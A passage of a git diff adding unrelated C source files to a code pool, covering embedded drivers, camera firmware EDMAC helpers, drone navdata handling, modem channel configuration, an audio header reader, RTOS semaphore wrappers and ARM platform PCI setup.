+			trace->entries[trace->nr_entries++] =
+				frame.ret_addr;
+		}
+		if (fp == frame.next_fp)
+			break;
+		fp = frame.next_fp;
+	}
+}
+
+void save_stack_trace_user(struct stack_trace *trace)
+{
+	/*
+	 * Trace user stack if we are not a kernel thread
+	 */
+	if (current->mm) {
+		__save_stack_trace_user(trace);
+	}
+	if (trace->nr_entries < trace->max_entries)
+		trace->entries[trace->nr_entries++] = ULONG_MAX;
+}
+
diff --git a/pool/shard001/C/0022514_edmac.c b/pool/shard001/C/0022514_edmac.c
new file mode 100644
index 0000000000000000000000000000000000000000..5485a333356b4067f0427f5783792ea9f2149dec
--- /dev/null
+++ b/pool/shard001/C/0022514_edmac.c
@@ -0,0 +1,191 @@
+
+#include "dryos.h"
+#include "edmac.h"
+
+#if defined(CONFIG_5D3) || defined(CONFIG_6D) /* 6D + 5D3 are Identical */
+
+#define WRITE(x) (x)
+#define READ(x)  (0x80000000 | (x))
+
+#define IS_USED(x) ((x) != 0xFFFFFFFF)
+#define IS_WRITE(x) (((x) & 0x80000000) == 0)
+#define IS_READ(x)  (((x) & 0x80000000) != 0)
+
+/* channel usage for 5D3 */
+static uint32_t edmac_chanlist[] = 
+{
+    WRITE(0), WRITE(1), WRITE(2), WRITE(3), WRITE(4), WRITE(5), WRITE(6), 0xFFFFFFFF,
+    READ(0), READ(1), READ(2), READ(3), READ(4), READ(5), 0xFFFFFFFF, 0xFFFFFFFF,
+    WRITE(7),  WRITE(8), WRITE(9), WRITE(10), WRITE(11), WRITE(12), WRITE(13), 0xFFFFFFFF,
+    READ(6), READ(7), READ(8), READ(9), READ(10), READ(11), 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
+    WRITE(14), WRITE(15), 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
+    READ(12), READ(13), READ(14), READ(15), 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF
+};
+
+uint32_t edmac_get_dir(uint32_t channel)
+{
+    if(!IS_USED(edmac_chanlist[channel]))
+    {
+        return EDMAC_DIR_UNUSED;
+    }
+    
+    if(IS_WRITE(edmac_chanlist[channel]))
+    {
+        return EDMAC_DIR_WRITE;
+    }
+    
+    if(IS_READ(edmac_chanlist[channel]))
+    {
+        return EDMAC_DIR_READ;
+    }
+    
+    return EDMAC_DIR_UNUSED;
+}
+
+#endif
+
+uint32_t edmac_get_base(uint32_t channel)
+{
+    uint32_t bases[] = { 0xC0F04000, 0xC0F26000, 0xC0F30000 };
+    uint32_t edmac_block = channel >> 4;
+    uint32_t edmac_num = channel & 0x0F;
+    
+    return bases[edmac_block] + (edmac_num << 8);
+}
+
+uint32_t edmac_get_state(uint32_t channel)
+{
+    /* this one is retrieved by EngDrvIn (reading directly from the register, not the cached value) */
+    return MEM(edmac_get_base(channel) + 0x00);
+}
+
+uint32_t edmac_get_flags(uint32_t channel)
+{
+    return shamem_read(edmac_get_base(channel) + 0x04);
+}
+
+uint32_t edmac_get_address(uint32_t channel)
+{
+    return shamem_read(edmac_get_base(channel) + 0x08);
+}
+
+uint32_t edmac_get_length(uint32_t channel)
+{
+    return shamem_read(edmac_get_base(channel) + 0x10);
+}
+
+uint32_t edmac_get_connection(uint32_t channel, uint32_t direction)
+{
+    uint32_t addr = 0;
+    
+    if(direction == EDMAC_DIR_READ)
+    { 
+        uint32_t dest_chan = 0;
+        uint32_t edmac_num = channel & 0x0F;
+        
+        if ( channel >= 24 )
+        {
+            if ( channel < 40 )
+            {
+                dest_chan = edmac_num - 2;
+            }
+            else
+            {
+                dest_chan = edmac_num + 4;
+            }
+        }
+        else
+        {
+            dest_chan = channel - 8;
+        }
+        
+        for(uint32_t pos = 0; pos < 48; pos++)
+        {
+            addr = 0xC0F05020 + (4 * pos);
+            uint32_t dst = shamem_read(addr);
+            
+            if(dst == dest_chan)
+            {
+                return pos;
+            }
+        }
+        
+        return 0xFF;        
+    }
+    else
+    {
+        if ( channel < 16 )
+        {
+            addr = 0xC0F05000 + (4 * channel);
+        }
+        if ( channel != 16 )
+        {
+            uint32_t pos = 0;
+            
+            if ( channel < 32 )
+            {
+                pos = channel - 1;
+            }
+            else
+            {
+                pos = channel + 6;
+            }
+            addr = 0xC0F05200 + (4 * (pos & 0x0F));
+        }
+        else
+        {
+            addr = 0xC0F0501C;
+        }
+    }
+    return shamem_read(addr);
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/pool/shard001/C/0022521_navdata.c b/pool/shard001/C/0022521_navdata.c
new file mode 100644
index 0000000000000000000000000000000000000000..9bf2da8bc49e093c54dabde5ad03969bec5f24ff
--- /dev/null
+++ b/pool/shard001/C/0022521_navdata.c
@@ -0,0 +1,93 @@
+#include "navdata.h"
+#include "ARDroneTypes.h"
+#include <control_states.h>
+#include <ardrone_tool/Navdata/ardrone_navdata_file.h>
+#include <ardrone_tool/Navdata/ardrone_navdata_client.h>
+navdata_unpacked_t inst_nav;
+vp_os_mutex_t inst_nav_mutex;
+static bool_t writeToFile = FALSE;
+
+static inline C_RESULT navdata_init( void* data )
+{
+	vp_os_mutex_init( &inst_nav_mutex );
+	
+	vp_os_mutex_lock( &inst_nav_mutex);
+	navdata_reset(&inst_nav);
+	vp_os_mutex_unlock( &inst_nav_mutex);
+	
+	writeToFile = FALSE;
+	
+	return C_OK;
+}
+
+static inline C_RESULT navdata_process( const navdata_unpacked_t* const navdata )
+{
+	if( writeToFile )
+	{
+		if( navdata_file == NULL )
+		{
+			ardrone_navdata_file_data data;
+			data.filename = NULL;
+            data.print_header = NULL;
+            data.print = NULL;
+			ardrone_navdata_file_init(NULL);
+		}
+		ardrone_navdata_file_process( navdata );
+	}
+	else
+	{
+		if(navdata_file != NULL)
+			ardrone_navdata_file_release();			
+	}
+	
+	vp_os_mutex_lock( &inst_nav_mutex);
+	vp_os_memcpy(&inst_nav, navdata, sizeof(navdata_unpacked_t));
+	vp_os_mutex_unlock( &inst_nav_mutex );
+
+	return C_OK;
+}
+
+static inline C_RESULT navdata_release( void )
+{
+	ardrone_navdata_file_release();
+	return C_OK;
+}
+
+C_RESULT navdata_write_to_file(bool_t enable)
+{
+	writeToFile = enable;
+	return C_OK;
+}
+
+C_RESULT navdata_reset(navdata_unpacked_t *nav)
+{
+	C_RESULT result = C_FAIL;
+	
+	if(nav)
+	{
+		vp_os_memset(nav, 0x0, sizeof(navdata_unpacked_t));
+        nav->ardrone_state |= ARDRONE_NAVDATA_BOOTSTRAP;
+        result = C_OK;
+	}
+	
+	return result;
+}	
+
+C_RESULT navdata_get(navdata_unpacked_t *data)
+{
+	C_RESULT result = C_FAIL;
+	
+	if(data)
+	{
+		vp_os_mutex_lock( &inst_nav_mutex );
+		vp_os_memcpy(data, &inst_nav, sizeof(navdata_unpacked_t));
+		vp_os_mutex_unlock( &inst_nav_mutex );
+		result = C_OK;
+	}
+	
+	return result;
+}
+
+BEGIN_NAVDATA_HANDLER_TABLE
+NAVDATA_HANDLER_TABLE_ENTRY(navdata_init, navdata_process, navdata_release, NULL)
+END_NAVDATA_HANDLER_TABLE
diff --git a/pool/shard001/C/0022523_iosm_ipc_chnl_cfg.c b/pool/shard001/C/0022523_iosm_ipc_chnl_cfg.c
new file mode 100644
index 0000000000000000000000000000000000000000..519361ec40dfcb472b264b184eace3d4a48b4c33
--- /dev/null
+++ b/pool/shard001/C/0022523_iosm_ipc_chnl_cfg.c
@@ -0,0 +1,87 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Copyright (C) 2020-21 Intel Corporation.
+ */
+
+#include <linux/wwan.h>
+
+#include "iosm_ipc_chnl_cfg.h"
+
+/* Max. sizes of a downlink buffers */
+#define IPC_MEM_MAX_DL_FLASH_BUF_SIZE (16 * 1024)
+#define IPC_MEM_MAX_DL_LOOPBACK_SIZE (1 * 1024 * 1024)
+#define IPC_MEM_MAX_DL_AT_BUF_SIZE 2048
+#define IPC_MEM_MAX_DL_RPC_BUF_SIZE (32 * 1024)
+#define IPC_MEM_MAX_DL_MBIM_BUF_SIZE IPC_MEM_MAX_DL_RPC_BUF_SIZE
+
+/* Max. transfer descriptors for a pipe. */
+#define IPC_MEM_MAX_TDS_FLASH_DL 3
+#define IPC_MEM_MAX_TDS_FLASH_UL 6
+#define IPC_MEM_MAX_TDS_AT 4
+#define IPC_MEM_MAX_TDS_RPC 4
+#define IPC_MEM_MAX_TDS_MBIM IPC_MEM_MAX_TDS_RPC
+#define IPC_MEM_MAX_TDS_LOOPBACK 11
+
+/* Accumulation backoff usec */
+#define IRQ_ACC_BACKOFF_OFF 0
+
+/* MUX acc backoff 1ms */
+#define IRQ_ACC_BACKOFF_MUX 1000
+
+/* Modem channel configuration table
+ * Always reserve element zero for flash channel.
+ */
+static struct ipc_chnl_cfg modem_cfg[] = {
+	/* IP Mux */
+	{ IPC_MEM_IP_CHL_ID_0, IPC_MEM_PIPE_0, IPC_MEM_PIPE_1,
+	  IPC_MEM_MAX_TDS_MUX_LITE_UL, IPC_MEM_MAX_TDS_MUX_LITE_DL,
+	  IPC_MEM_MAX_DL_MUX_LITE_BUF_SIZE, WWAN_PORT_UNKNOWN },
+	/* RPC - 0 */
+	{ IPC_MEM_CTRL_CHL_ID_1, IPC_MEM_PIPE_2, IPC_MEM_PIPE_3,
+	  IPC_MEM_MAX_TDS_RPC, IPC_MEM_MAX_TDS_RPC,
+	  IPC_MEM_MAX_DL_RPC_BUF_SIZE, WWAN_PORT_UNKNOWN },
+	/* IAT0 */
+	{ IPC_MEM_CTRL_CHL_ID_2, IPC_MEM_PIPE_4, IPC_MEM_PIPE_5,
+	  IPC_MEM_MAX_TDS_AT, IPC_MEM_MAX_TDS_AT, IPC_MEM_MAX_DL_AT_BUF_SIZE,
+	  WWAN_PORT_AT },
+	/* Trace */
+	{ IPC_MEM_CTRL_CHL_ID_3, IPC_MEM_PIPE_6, IPC_MEM_PIPE_7,
+	  IPC_MEM_TDS_TRC, IPC_MEM_TDS_TRC, IPC_MEM_MAX_DL_TRC_BUF_SIZE,
+	  WWAN_PORT_UNKNOWN },
+	/* IAT1 */
+	{ IPC_MEM_CTRL_CHL_ID_4, IPC_MEM_PIPE_8, IPC_MEM_PIPE_9,
+	  IPC_MEM_MAX_TDS_AT, IPC_MEM_MAX_TDS_AT, IPC_MEM_MAX_DL_AT_BUF_SIZE,
+	  WWAN_PORT_AT },
+	/* Loopback */
+	{ IPC_MEM_CTRL_CHL_ID_5, IPC_MEM_PIPE_10, IPC_MEM_PIPE_11,
+	  IPC_MEM_MAX_TDS_LOOPBACK, IPC_MEM_MAX_TDS_LOOPBACK,
+	  IPC_MEM_MAX_DL_LOOPBACK_SIZE, WWAN_PORT_UNKNOWN },
+	/* MBIM Channel */
+	{ IPC_MEM_CTRL_CHL_ID_6, IPC_MEM_PIPE_12, IPC_MEM_PIPE_13,
+	  IPC_MEM_MAX_TDS_MBIM, IPC_MEM_MAX_TDS_MBIM,
+	  IPC_MEM_MAX_DL_MBIM_BUF_SIZE, WWAN_PORT_MBIM },
+};
+
+int ipc_chnl_cfg_get(struct ipc_chnl_cfg *chnl_cfg, int index)
+{
+	if (index >= ARRAY_SIZE(modem_cfg)) {
+		pr_err("index: %d and array size %zu", index,
+		       ARRAY_SIZE(modem_cfg));
+		return -ECHRNG;
+	}
+
+	if (index == IPC_MEM_MUX_IP_CH_IF_ID)
+		chnl_cfg->accumulation_backoff = IRQ_ACC_BACKOFF_MUX;
+	else
+		chnl_cfg->accumulation_backoff = IRQ_ACC_BACKOFF_OFF;
+
+	chnl_cfg->ul_nr_of_entries = modem_cfg[index].ul_nr_of_entries;
+	chnl_cfg->dl_nr_of_entries = modem_cfg[index].dl_nr_of_entries;
+	chnl_cfg->dl_buf_size = modem_cfg[index].dl_buf_size;
+	chnl_cfg->id = modem_cfg[index].id;
+	chnl_cfg->ul_pipe = modem_cfg[index].ul_pipe;
+	chnl_cfg->dl_pipe = modem_cfg[index].dl_pipe;
+	chnl_cfg->wwan_port_type = modem_cfg[index].wwan_port_type;
+
+	return 0;
+}
diff --git a/pool/shard001/C/0022524_AFrdTAhead.c b/pool/shard001/C/0022524_AFrdTAhead.c
new file mode 100644
index 0000000000000000000000000000000000000000..d283506d82a6e8f5fda9d42c365ca20214241fc4
--- /dev/null
+++ b/pool/shard001/C/0022524_AFrdTAhead.c
@@ -0,0 +1,128 @@
+/*-------------- Telecommunications & Signal Processing Lab ---------------
+                             McGill University
+
+Routine:
+  AFILE *AFrdTAhead (FILE *fp)
+
+Purpose:
+  Get file format information from a text audio file
+
+Description:
+  This routine reads the header for a text audio file.  The header information
+  is used to set the file data format information in the audio file pointer
+  structure.
+
+  Text audio files are used to store audio data (specifically noise samples) on
+  CDROM's.  The audio data itself is stored as text.  The text specifies
+  integer values, with one value per line.  Access to data should normally be
+  sequential since moving backwards in the file is inefficient.
+
+  Text audio header:
+   Offset Length Type    Contents
+      0     4    char   File identifier ("%//")
+      -     -    char   Sampling frequency ("%sampling rate: <value> KHz")
+      -     -    char   Audio data
+  For text audio files, the audio data is the character representation of
+  integer values, with one value per line.
+
+Parameters:
+  <-  AFILE *AFrdTAhead
+      Audio file pointer for the audio file
+   -> FILE *fp
+      File pointer for the file
+
+Author / revision:
+  P. Kabal  Copyright (C) 2003
+  $Revision: 1.34 $  $Date: 2003/11/03 18:51:32 $
+
+-------------------------------------------------------------------------*/
+
+#include <string.h>
+
+#include <libtsp.h>
+#include <libtsp/AFdataio.h>
+#include <libtsp/AFheader.h>
+#include <libtsp/AFpar.h>
+#include <libtsp/AFmsg.h>
+
+#define FM_TXAUD	"%//"
+#define MAX_NHEAD	100		/* Maximum number of lines */
+#define TA_SRATE_STR	"%sampling rate:"
+
+AF_READ_DEFAULT(AFr_default);	/* Define the AF_read defaults */
+
+
+AFILE *
+AFrdTAhead (FILE *fp)
+
+{
+  AFILE *AFp;
+  char *line;
+  double FkHz;
+  int c, n, ErrCode;
+  char Info[AF_MAXINFO];
+  struct AF_read AFr;
+
+/* Defaults and inital values */
+  AFr = AFr_default;
+  AFr.InfoX.Info = Info;
+  AFr.InfoX.Nmax = AF_MAXINFO;
+
+  AFp = NULL;
+  ErrCode = 0;
+
+/* Check the file magic */
+  line = AFgetLine (fp, &ErrCode);
+  if (line == NULL) {
+    UTwarn ("AFrdTAhead - %s", AFM_UEoF);
+    return NULL;
+  }
+  if (strcmp (line, FM_TXAUD) != 0) {
+    UTwarn ("AFrdTAhead - %s", AFM_TA_BadId);
+    return NULL;
+  }
+
+/* Check the header */
+  FkHz = 0.0;
+  for (n = 0; n < MAX_NHEAD; ++n) {
+
+    /* Peek ahead to see if the header has ended */
+    c = fgetc (fp);
+    if (c == EOF)
+      break;
+    ungetc (c, fp);
+    if (c != '%')
+      break;
+
+    /* Read a line */
+    line = AFgetLine (fp, &ErrCode);
+    if (ErrCode)
+      return NULL;
+
+    /* Save the line in the AFsp information structure */
+    AFaddAFspRec ("", line, strlen (line), &AFr.InfoX);
+
+    /* Check for a sampling frequency record */
+    if (strncmp (line, TA_SRATE_STR, (sizeof (TA_SRATE_STR)) - 1) == 0)
+      sscanf (line, "%%sampling rate:%lg KHz", &FkHz); /* "KHz" is ignored */
+  }
+
+/* Error checks */
+  if (n >= MAX_NHEAD) {
+    UTwarn ("AFrdTAhead - %s", AFM_TA_LongHead);
+    return NULL;
+  }
+  if (FkHz == 0.0) {
+    UTwarn ("AFrdTAhead - %s", AFM_TA_NoNSamp);
+    return NULL;
+  }
+
+/* Set the parameters for file access */
+  AFr.Sfreq = 1000. * FkHz;
+  AFr.DFormat.Format = FD_TEXT;
+  AFr.DFormat.ScaleF = AF_SF_INT16;
+
+  AFp = AFsetRead (fp, FT_TXAUD, &AFr, AF_NOFIX);
+
+  return AFp;
+}
diff --git a/pool/shard001/C/0022525_pcm9685.c b/pool/shard001/C/0022525_pcm9685.c
new file mode 100644
index 0000000000000000000000000000000000000000..0c918c3c07b008a430e9d5cb9516155b1d113a16
--- /dev/null
+++ b/pool/shard001/C/0022525_pcm9685.c
@@ -0,0 +1,67 @@
+#include <stdlib.h>
+#include "platform.h"
+#include "pcm9685.h"
+
+#define PCM9685_ADDR 0x58
+
+#define PCA9685_MODE1_REGISTER 0x00
+#define PCA9685_MODE1_REGISTER_SLEEP_bp 4
+#define PCA9685_LED0_ON_L_REGISTER 0x06
+#define PCA9685_PRE_SCALE_REGISTER 0xFE
+
+static int is_initialized = 0;
+
+static void pcm9685_set_sleep(uint8_t addr, uint8_t sleep)
+{
+  uint8_t txbuf[2];
+  txbuf[0] = PCA9685_MODE1_REGISTER;
+  txbuf[1] = (sleep << PCA9685_MODE1_REGISTER_SLEEP_bp) | (1 << 5);
+
+  platform_i2c_transmit(PLATFORM_I2C_SERVO, addr, txbuf, 2, NULL, 0);
+}
+
+void pcm9685_set_frequency(uint8_t addr, uint32_t freq_Hz)
+{
+  uint32_t divider = 25000000 / 4096;
+  divider /= freq_Hz;
+  divider -= 1;
+
+  uint8_t txbuf[2];
+  txbuf[0] = PCA9685_PRE_SCALE_REGISTER;
+  txbuf[1] = divider;
+
+  platform_i2c_transmit(PLATFORM_I2C_SERVO, addr, txbuf, 2, NULL, 0);
+}
+
+void pcm9685_init(void)
+{
+  pcm9685_set_sleep(PCM9685_ADDR, 1);
+  pcm9685_set_frequency(PCM9685_ADDR, 50);
+  pcm9685_set_sleep(PCM9685_ADDR, 0);
+
+  is_initialized = 1;
+}
+
+void pcm9685_set_channel(uint8_t id, uint16_t delay, uint16_t width)
+{
+  if(!is_initialized)
+  {
+    pcm9685_init();
+  }
+
+  uint8_t txbuf[5];
+  txbuf[0] = PCA9685_LED0_ON_L_REGISTER + 4 * (id % 16);
+  txbuf[1] = delay & 0xff;
+  txbuf[2] = (delay >> 8) & 0xff;
+  txbuf[3] = width & 0xff;
+  txbuf[4] = (width >> 8) & 0xff;
+
+  switch(id / 16)
+  {
+    case 0:
+      {
+        platform_i2c_transmit(PLATFORM_I2C_SERVO, PCM9685_ADDR, txbuf, 5, NULL, 0);
+      }
+      break;
+  }
+}
diff --git a/pool/shard001/C/0022530_osi_arch.c b/pool/shard001/C/0022530_osi_arch.c
new file mode 100644
index 0000000000000000000000000000000000000000..d1d0185aec80e3b11c8a13cb1de913f89251a600
--- /dev/null
+++ b/pool/shard001/C/0022530_osi_arch.c
@@ -0,0 +1,196 @@
+/*
+ * Copyright (c) 2001-2003 Swedish Institute of Computer Science.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification,
+ * are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice,
+ *    this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ *    this list of conditions and the following disclaimer in the documentation
+ *    and/or other materials provided with the distribution.
+ * 3. The name of the author may not be used to endorse or promote products
+ *    derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
+ * SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
+ * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
+ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
+ * OF SUCH DAMAGE.
+ *
+ * This file is part of the bluedroid stack.
+ *
+ * Author: Adam Dunkels <adam@sics.se>
+ *
+ */
+
+#include "osi_arch.h"
+
+/** Create a new mutex
+ * @param mutex pointer to the mutex to create
+ * @return a new mutex */
+int
+osi_mutex_new(osi_mutex_t *pxMutex)
+{
+    int xReturn = -1;
+
+    *pxMutex = xSemaphoreCreateMutex();
+
+    if (*pxMutex != NULL) {
+        xReturn = 0;
+    }
+
+    //LWIP_DEBUGF(THREAD_SAFE_DEBUG, ("osi_mutex_new: m=%p\n", *pxMutex));
+
+    return xReturn;
+}
+
+/** Lock a mutex
+ * @param mutex the mutex to lock */
+void
+osi_mutex_lock(osi_mutex_t *pxMutex)
+{
+    while (xSemaphoreTake(*pxMutex, portMAX_DELAY) != pdPASS);
+}
+
+int
+osi_mutex_trylock(osi_mutex_t *pxMutex)
+{
+    if (xSemaphoreTake(*pxMutex, 0) == pdPASS) {
+        return 0;
+    } else {
+        return -1;
+    }
+}
+
+/** Unlock a mutex
+ * @param mutex the mutex to unlock */
+void
+osi_mutex_unlock(osi_mutex_t *pxMutex)
+{
+    xSemaphoreGive(*pxMutex);
+}
+
+/** Delete a semaphore
+ * @param mutex the mutex to delete */
+void
+osi_mutex_free(osi_mutex_t *pxMutex)
+{
+    //LWIP_DEBUGF(THREAD_SAFE_DEBUG, ("osi_mutex_free: m=%p\n", *pxMutex));
+    vQueueDelete(*pxMutex);
+}
+
+/*-----------------------------------------------------------------------------------*/
+//  Creates and returns a new semaphore. The "init_count" argument specifies
+//  the initial state of the semaphore, "max_count" specifies the maximum value
+//  that can be reached.
+int
+osi_sem_new(osi_sem_t *sem, uint32_t max_count, uint32_t init_count)
+{
+    int xReturn = -1;
+    if (sem) {
+        *sem = xSemaphoreCreateCounting(max_count, init_count);
+        if ((*sem) != NULL) {
+            xReturn = 0;
+        }
+    }
+
+    return xReturn;
+}
+
+/*-----------------------------------------------------------------------------------*/
+// Signals a semaphore
+void
+osi_sem_signal(osi_sem_t *sem)
+{
+    xSemaphoreGive(*sem);
+}
+
+/*-----------------------------------------------------------------------------------*/
+/*
+  Blocks the thread while waiting for the semaphore to be
+  signaled. If the "timeout" argument is non-zero, the thread should
+  only be blocked for the specified time (measured in
+  milliseconds).
+
+  If the timeout argument is non-zero, the return value is the number of
+  milliseconds spent waiting for the semaphore to be signaled. If the
+  semaphore wasn't signaled within the specified time, the return value is
+  OSI_ARCH_TIMEOUT. If the thread didn't have to wait for the semaphore
+  (i.e., it was already signaled), the function may return zero.
+
+  Notice that lwIP implements a function with a similar name,
+  osi_sem_wait(), that uses the osi_arch_sem_wait() function.
+*/
+uint32_t
+osi_sem_wait(osi_sem_t *sem, uint32_t timeout)
+{
+    portTickType StartTime, EndTime, Elapsed;
+    unsigned long ulReturn;
+
+    StartTime = xTaskGetTickCount();
+
+    if (timeout != 0) {
+        if (xSemaphoreTake(*sem, timeout / portTICK_PERIOD_MS) == pdTRUE) {
+            EndTime = xTaskGetTickCount();
+            Elapsed = (EndTime - StartTime) * portTICK_PERIOD_MS;
+
+            if (Elapsed == 0) {
+                Elapsed = 1;
+            }
+
+            ulReturn = Elapsed;
+        } else {
+            ulReturn = OSI_ARCH_TIMEOUT;
+        }
+    } else { // must block without a timeout
+        while (xSemaphoreTake(*sem, portMAX_DELAY) != pdTRUE);
+
+        EndTime = xTaskGetTickCount();
+        Elapsed = (EndTime - StartTime) * portTICK_PERIOD_MS;
+
+        if (Elapsed == 0) {
+            Elapsed = 1;
+        }
+
+        ulReturn = Elapsed;
+    }
+
+    return ulReturn ; // return time blocked
+}
+
+/*-----------------------------------------------------------------------------------*/
+// Deallocates a semaphore
+void
+osi_sem_free(osi_sem_t *sem)
+{
+    vSemaphoreDelete(*sem);
+}
+
+/*-----------------------------------------------------------------------------------*/
+// Initialize osi arch
+void
+osi_arch_init(void)
+{
+}
+
+/*-----------------------------------------------------------------------------------*/
+uint32_t
+osi_now(void)
+{
+    return xTaskGetTickCount();
+}
+
+
+void osi_delay_ms(uint32_t ms)
+{
+    vTaskDelay(ms / portTICK_PERIOD_MS);
+}
+
+
diff --git a/pool/shard001/C/0022542_ixdp2800.c b/pool/shard001/C/0022542_ixdp2800.c
new file mode 100644
index 0000000000000000000000000000000000000000..f9073aa28615e41ad801d5b364ed92e7d00d7b66
--- /dev/null
+++ b/pool/shard001/C/0022542_ixdp2800.c
@@ -0,0 +1,297 @@
+/*
+ * arch/arm/mach-ixp2000/ixdp2800.c
+ *
+ * IXDP2800 platform support
+ *
+ * Original Author: Jeffrey Daly <jeffrey.daly@intel.com>
+ * Maintainer: Deepak Saxena <dsaxena@plexity.net>
+ *
+ * Copyright (C) 2002 Intel Corp.
+ * Copyright (C) 2003-2004 MontaVista Software, Inc.
+ *
+ *  This program is free software; you can redistribute  it and/or modify it
+ *  under  the terms of  the GNU General  Public License as published by the
+ *  Free Software Foundation;  either version 2 of the  License, or (at your
+ *  option) any later version.
+ */
+#include <linux/config.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/mm.h>
+#include <linux/sched.h>
+#include <linux/interrupt.h>
+#include <linux/device.h>
+#include <linux/bitops.h>
+#include <linux/pci.h>
+#include <linux/ioport.h>
+#include <linux/slab.h>
+#include <linux/delay.h>
+
+#include <asm/io.h>
+#include <asm/irq.h>
+#include <asm/pgtable.h>
+#include <asm/page.h>
+#include <asm/system.h>
+#include <asm/hardware.h>
+#include <asm/mach-types.h>
+
+#include <asm/mach/pci.h>
+#include <asm/mach/map.h>
+#include <asm/mach/irq.h>
+#include <asm/mach/time.h>
+#include <asm/mach/flash.h>
+#include <asm/mach/arch.h>
+
+/*************************************************************************
+ * IXDP2800 timer tick
+ *************************************************************************/
+
+static void __init ixdp2800_timer_init(void)
+{
+	ixp2000_init_time(50000000);
+}
+
+static struct sys_timer ixdp2800_timer = {
+	.init		= ixdp2800_timer_init,
+	.offset		= ixp2000_gettimeoffset,
+};
+
+/*************************************************************************
+ * IXDP2800 PCI
+ *************************************************************************/
+static void __init ixdp2800_slave_disable_pci_master(void)
+{
+	*IXP2000_PCI_CMDSTAT &= ~(PCI_COMMAND_MASTER | PCI_COMMAND_MEMORY);
+}
+
+static void __init ixdp2800_master_wait_for_slave(void)
+{
+	volatile u32 *addr;
+
+	printk(KERN_INFO "IXDP2800: waiting for slave NPU to configure "
+			 "its BAR sizes\n");
+
+	addr = ixp2000_pci_config_addr(0, IXDP2X00_SLAVE_NPU_DEVFN,
+					PCI_BASE_ADDRESS_1);
+	do {
+		*addr = 0xffffffff;
+		cpu_relax();
+	} while (*addr != 0xfe000008);
+
+	addr = ixp2000_pci_config_addr(0, IXDP2X00_SLAVE_NPU_DEVFN,
+					PCI_BASE_ADDRESS_2);
+	do {
+		*addr = 0xffffffff;
+		cpu_relax();
+	} while (*addr != 0xc0000008);
+
+	/*
+	 * Configure the slave's SDRAM BAR by hand.
+	 */
+	*addr = 0x40000008;
+}
+
+static void __init ixdp2800_slave_wait_for_master_enable(void)
+{
+	printk(KERN_INFO "IXDP2800: waiting for master NPU to enable us\n");
+
+	while ((*IXP2000_PCI_CMDSTAT & PCI_COMMAND_MASTER) == 0)
+		cpu_relax();
+}
+
+void __init ixdp2800_pci_preinit(void)
+{
+	printk("ixdp2x00_pci_preinit called\n");
+
+	*IXP2000_PCI_ADDR_EXT = 0x0001e000;
+
+	if (!ixdp2x00_master_npu())
+		ixdp2800_slave_disable_pci_master();
+
+	*IXP2000_PCI_SRAM_BASE_ADDR_MASK = (0x2000000 - 1) & ~0x3ffff;
+	*IXP2000_PCI_DRAM_BASE_ADDR_MASK = (0x40000000 - 1) & ~0xfffff;
+
+	ixp2000_pci_preinit();
+
+	if (ixdp2x00_master_npu()) {
+		/*
+		 * Wait until the slave set its SRAM/SDRAM BAR sizes
+		 * correctly before we proceed to scan and enumerate
+		 * the bus.
+		 */
+		ixdp2800_master_wait_for_slave();
+
+		/*
+		 * We configure the SDRAM BARs by hand because they
+		 * are 1G and fall outside of the regular allocated
+		 * PCI address space.
+		 */
+		*IXP2000_PCI_SDRAM_BAR = 0x00000008;
+	} else {
+		/*
+		 * Wait for the master to complete scanning the bus
+		 * and assigning resources before we proceed to scan
+		 * the bus ourselves.  Set pci=firmware to honor the
+		 * master's resource assignment.
+		 */
+		ixdp2800_slave_wait_for_master_enable();
+		pcibios_setup("firmware");
+	}
+}
+
+/*
+ * We assign the SDRAM BARs for the two IXP2800 CPUs by hand, outside
+ * of the regular PCI window, because there's only 512M of outbound PCI
+ * memory window on each IXP, while we need 1G for each of the BARs.
+ */
+static void __devinit ixp2800_pci_fixup(struct pci_dev *dev)
+{
+	if (machine_is_ixdp2800()) {
+		dev->resource[2].start = 0;
+		dev->resource[2].end   = 0;
+		dev->resource[2].flags = 0;
+	}
+}
+DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_INTEL, PCI_DEVICE_ID_INTEL_IXP2800, ixp2800_pci_fixup);
+
+static int __init ixdp2800_pci_setup(int nr, struct pci_sys_data *sys)
+{
+	sys->mem_offset = 0x00000000;
+
+	ixp2000_pci_setup(nr, sys);
+
+	return 1;
+}
+
+static int __init ixdp2800_pci_map_irq(struct pci_dev *dev, u8 slot, u8 pin)
+{
+	if (ixdp2x00_master_npu()) {
+
+		/*
+		 * Root bus devices.  Slave NPU is only one with interrupt.
+		 * Everything else, we just return -1 which is invalid.
+		 */
+		if(!dev->bus->self) {
+			if(dev->devfn == IXDP2X00_SLAVE_NPU_DEVFN )
